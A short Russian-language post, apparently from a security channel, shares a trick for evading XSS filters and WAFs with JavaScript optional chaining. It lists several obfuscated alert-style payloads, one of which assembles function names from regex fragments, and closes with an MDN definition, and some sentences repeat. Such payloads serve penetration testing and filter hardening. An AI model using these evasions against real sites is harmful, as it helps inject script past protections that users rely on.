🔗 Cовет по обходу фильтрации средств защиты от XSS
Знаете ли вы, что
Обязательно попробуйте это, если вы ищете способы обхода фильтрации средств защиты.
В основном вы можете использовать её где угодно, где бы использовали символы:
Знаете ли вы, что
window.alert?.() и (window?.alert)`` будут выдавать всплывающее окно??. - это фича, называется optional chaining, и, насколько я могу судить, ее нет практически ни в каких популярных списках полезных нагрузок для XSS.Обязательно попробуйте это, если вы ищете способы обхода фильтрации средств защиты.
В основном вы можете использовать её где угодно, где бы использовали символы:
. () `` []
Например:window?.['alert']?.(1)
(window?.['alert'])`1`
выглядят как абсолютное колдовство, но оба работают. Ниже еще несколько примеров:alert?.(document?.domain)
[document?.domain]?.map?.(alert)
top?.[/ale/?.source+/rt/?.source]?.(document?.[/dom/?.source+/ain/?.source])
#web #xss #wafMDN Web Docs
Optional chaining (?.) - JavaScript | MDN
The optional chaining (?.) operator accesses an object's property or calls a function. If the object accessed or function called using this operator is undefined or null, the expression short circuits and evaluates to undefined instead of throwing an error.